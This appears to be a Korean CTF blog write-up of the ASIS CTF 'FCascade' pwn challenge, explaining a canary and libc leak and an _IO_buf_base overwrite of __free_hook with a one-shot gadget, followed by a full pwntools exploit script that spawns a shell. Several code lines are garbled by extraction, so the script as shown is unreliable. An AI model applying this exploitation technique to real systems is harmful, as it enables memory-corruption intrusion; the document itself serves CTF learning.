hOwDayS 선린 10720

ASISCTF FCascasde 본문

CTF

ASISCTF FCascasde

hOwDayS 2018. 5. 5. 20:44



대회기간때 Leak만하고 익스하는 법을 몰라

몇시간 동안 잡다가 롸업보고 풀었는데

새로운 기법을 터득했다

( __IO_2_1_stdin_)





RELRO 

 FULL RELRO

Stack Canary

Canary Found 

 NX

 NX enabled

 PIE

 NO PIE





바이너리 그대로 보면


ccloud() -> 익스


leak() -> 릭






1. leak()함수에 들어감


2.  libc릭 할 수 있을 만큼 채운다  

( ret뒤에 바로 있다 )

카나리는 무시한다(익스 할때 필요 없음) }





ccloud()에 들어감


여기서 는 계속 malloc , free 가 되서 

힙익스도 할 수가 없다





*((byte *)buf + size -1)

를 한다


예를들어 0x7ffff7dd1918 를 덮고싶을때

buf = 0

- (0x1000000000000000 - (0x7ffff7dd1918 +1))

=  -0xfffff8000022e6e7


C 에서 -1은 0xffffffffffffffff

0xffffffffffffffff  - 0xfffff8000022e6e7 = 0x7ffff7dd1918

0x7ffff7dd1918 주소에 0 이 들어간다




scanf는 _IO_buf_base 가 잇는 곳에 문자열을 저장한다

마지막 63을 널로 바꾸고 

scanf로 _IO_buf_base를 __free_hook으로 바꾼다음

다시 scanf로 oneshot_gadget으로 덮어주면 되겠다..


라고 생각 했는데


실패하길래 봤더니


tmpnam_buffer있는 곳에 원샷가젯이 있었다

__free_hook 이랑 tmpnam_buffer이랑 168차이가 나서

널로 168만큼 채워준 뒤에 원샷가젯으로 덮어 주면 되겠다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
 
#p = remote("178.62.40.102",6002)
= process("./fstream")
= ELF("./fstream")
 
 
## CANARY LEAK ##
 
p.recv()
p.send("11010110")
 
p.recv()
 
canary_payload = "A" * (0x90 - 0x8 + 1)
p.send(canary_payload)
p.recvuntil(canary_payload)
 
canary = u64("\x00" + p.recv(7))
 
log.success("CANARY : " + hex(canary))
 
## LIBC_BASE LEAK ##
p.recv()
 
libc_payload = "A" * (0x90 - 0x8+  "AAAAAAAA" + "AAAAAAAA" 
p.send(libc_payload)
 
p.recvuntil(libc_payload)
 
#print hexdump(p.recv(12))
libc_base =  u64(p.recv(6+ "\x00\x00"- 0x20830 #__libc_start_main + 240
#print hexdump(p64(libc_base))
log.success("LIBC_BASE : " + hex(libc_base))
 
p.send("11111111")
 
## EXPLOIT ##
 
p.send("10110101")
 
# fill Last byte of Write base with null
fill_payload = -(0x10000000000000000 - (libc_base + 0x3c4919))
p.recv()
p.sendline(str(fill_payload))
 
# fill buf_base with __free_hook
hook_payload = p64(libc_base + 0x3c67a8* 4 + p64(libc_base + 0x3c67a8 + 0x10+ p64(0)
p.recv()
p.send(hook_payload)
 
# fill __free_hook with oneshot_gadget
payload = "\x00" * 168 + p64(libc_base + 0x4526a)
p.sendline("hOwDayS")
p.sendline(payload)
p.recv()
 
## SHELL ##
p.interactive()
 
 
cs



'CTF' 카테고리의 다른 글

선린인터넷고등학교 교내해킹방어대회 2018 cee  (0) 2018.06.11
선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING  (0) 2018.06.07
ASISCTF CAT  (0) 2018.05.05
TRUTHEALTH SoHard  (0) 2018.03.10
TRSUTCTF sysrop  (0) 2018.03.08
Comments